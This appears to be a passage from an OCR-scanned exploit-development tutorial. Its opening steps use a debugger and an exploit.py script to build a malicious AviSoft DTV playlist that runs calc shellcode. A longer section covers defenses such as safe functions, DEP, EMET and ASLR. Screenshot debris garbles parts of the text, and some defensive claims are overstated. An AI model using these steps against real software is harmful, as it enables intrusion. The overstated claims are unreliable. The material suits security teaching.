	C 0 ES 0023 32bit 0(FFFFFFF) P 0 CS 001B 32bit 0(FFFFFFF) A 1 SS 0023 32bit 0(FFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFF) S 0 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0										
	0 0 LastErr ERROR_SUCCESS (00000000)										
	EFL 00000212 (NO,NB,NE,A,NS,PO,GE,G)										
	CTO										

- We notice that EIP contains our correct address as expected
- What is next?
  - Let's put real shellcode instead "CCCCCCCCCC---"
  - Since ESP contains "CCCC ----" we put our shellcode in ESP
- There is calc pop up shellcode inside your working directory called "shellcode.txt" open it

Favorites

PJ,

Tasks

folder

older

folder to the

uments and Settings\(

Tools

\*

\*

Sear

- Open exploit.py and copy paste your shellocde in line 9.
- Run expoit.py script (python exploit.py)
- It will create "exploit-me.PLF", open it with AviSoft DTV and it will execute calc.exe





#### 7. Protecting Against buffer overflow

#### Manual auditing code

Search for the **use of unsafe functions** in the C library like **strcpy()** and replace them with safe functions like **strncpy()**, which takes the size of the buffer into account. Manual auditing of the source code must be undertaken for each program.

#### **Complier techniques**

Range checking of indices is defined as a defense that guarantees 100% efficiency from buffer overflow attacks. Java automatically checks if an array index is within the proper bounds. Use compilers like Java, instead of C, to avoid buffer overflow attacks.

#### Safer library support

A robust alternative is to provide safe versions of the C library functions where it attacks by overwriting the return address. It works with the binaries of the target program Vs source code and does not require access to the program's source code. It can be handled according to the occurrence of the threat without any vendors operating against it. It is available for Windows 2000 systems and is an effective technique.

#### **Disabling stack execution**

This is an easy solution that provides an option to install the OS<sup>-</sup>disabling stack execution. The idea is simple, inexpensive, and relatively effective against the current crop of attacks. A weakness in this method is that some programs depend on the execution of the stack.

#### 8. Preventing BoF attack

A buffer overflow attack occurs when large amounts of data are sent to the system, more than it is intended to hold. This attack usually occurs due to insecure programming. Often this may lead to a system crash. To avoid such problems, some preventive measures are adopted. They are:

- Implement run-time checking Address obfuscation
- Randomize location of functions in libcStatic source code analysis
- Mark stack as non-execute, random stack location
- Use type safe languages (Java, ML)



#### **Programming counter measures**

- Design programs with security in mind.
- Disabled tack execution (possible on Solaris).
- Test and debug the code to find errors.
- Prevent use of dangerous functions: gets, strcpy, etc.
- Consider using "safer" compilers such as Stack Guard.
- Prevent return addresses from being overwritten.
- Validate arguments and reduce the amount of code that runs with root privilege.
- Prevent all sensitive information from being overwritten.
- Make changes to the C language itself at the language level to reduce the risk of buffer overflows.
- Use static or dynamic source code analyzers at the source code level to check the code for buffer overflow problems.
- Change the compiler at the compiler level that does bounds checking or protects addresses from overwriting.
- Change the rules at the operating system level for which memory pages are allowed to hold executable data.
- Make use of safe libraries.
- Make use of tools that can detect buffer overflow vulnerabilities.

#### Data Execution Prevention (DEP)

Data execution prevention (DEP) is a set of hardware and software technologies that monitors programs to verify whether they are using system memory safely and securely. It prevents the applications that may access memory that wasn't assigned for the process and lies in another region. When an execution occurs, hardware-enforced DEP detects code that is running from these locations and raises an exception. To prevent malicious code from taking advantage of exception-handling mechanisms in Windows, use software-enforced DEP. DEP helps in preventing code execution from data pages, such as the default heap pages, memory pool pages, and various stack pages, where code is not executed from the default heap and the stack.



Visual Effects       Advanced       Data Execution Prevention (DEP) helps protect against damage from viruses and other security threats. How does it work?         Image: I		Perfo	ormance Options		2
Data Execution Prevention (DEP) helps protect against damage from viruses and other security threats. How does it work?      Turn on DEP for essential Windows programs and services only      Turn on DEP for all programs and services except those I select:      Add Remove Your computer's processor supports bardware based DEP	sual Effects	Advanced	Data Execution Preve	ntion	
Jum on DEP for essential Windows programs and services only     Tym on DEP for all programs and services except those I select:      Agd Remove Your computer's processor supports bardware-based DEP	ag th	ita Execution ainst damag reats. <u>How c</u>	n Prevention (DEP) help te from viruses and oth does it work?	os protect er security	
Add Remove	Turn on Di only	P for essen	tial Windows programs	and services	
Add Remove	Select:	SP for all pro	igrams and services exi	cept those I	
Add Remove					
Add Remove					
Your computer's processor supports bardware-based DED			Agd	Remove	
roar composer a processor suppor es noron di e besed per i	Your compute	r's processo	r supports hardware-b	ased DEP.	

#### **Enhanced Mitigation Experience toolkit (EMET)**

Enhanced Mitigation Experience Toolkit (EMET) is designed to make it more difficult for an attacker to exploit the vulnerabilities of software and gain access to the system. It supports mitigation techniques that prevent common attack techniques, primarily related to stack overflows and the techniques used by malware to interact with the operating system as it attempts the compromise. It improves the resiliency of Windows to the exploitation of buffer overflows.



- Structure Exception Handler Overwrite Protection (SEHOP): It prevents common techniques used for exploiting stack overflows in Windows by performing SEH chain validation.
- Dynamic Data Execution Prevention (DDEP): It marks portions of a process's memory non-executable, making it difficult to exploit memory corruption vulnerabilities.
- Address Space Layout Randomization (ASLR): New in EMET 2.0 is mandatory address space layout randomization (ASLR), as well as non-ASLR-aware modules on all new Windows Versions.



#### 9. References

- 1. <u>https://www.fuzzysecurity.com/tutorials.html</u>
- 2. <u>https://www.corelan.be/index.php/articles/</u>
- 3. https://www.exploit-db.com/
- 4. https://www.blackhat.com/us-14/training/the-exploit-laboratory-red-team.html
- 5. <u>https://www.blackhat.com/eu-14/training/the-exploit-laboratory-black-belt.html</u>
- 6. <u>http://www.justbeck.com/getting-started-in-exploit-development/</u>
- 7. <a href="http://resmyces.infosecinstitute.com/category/exploit-development/">http://resmyces.infosecinstitute.com/category/exploit-development/</a>
- 8. <u>http://www.primalsecurity.net/analysis-of-malicious-document-using-cve-2013-3906/</u>
- 9. https://blogs.mcafee.com/mcafee-labs/rtf-attack-takes-advantage-of-multiple-exploits/
- 10. https://blog.malwarebytes.org/intelligence/2013/08/ms-office-files/
- 11. <u>https://blog.gaborszathmari.me/2015/07/08/static-code-analysis-of-the-hacking-team-</u> repos/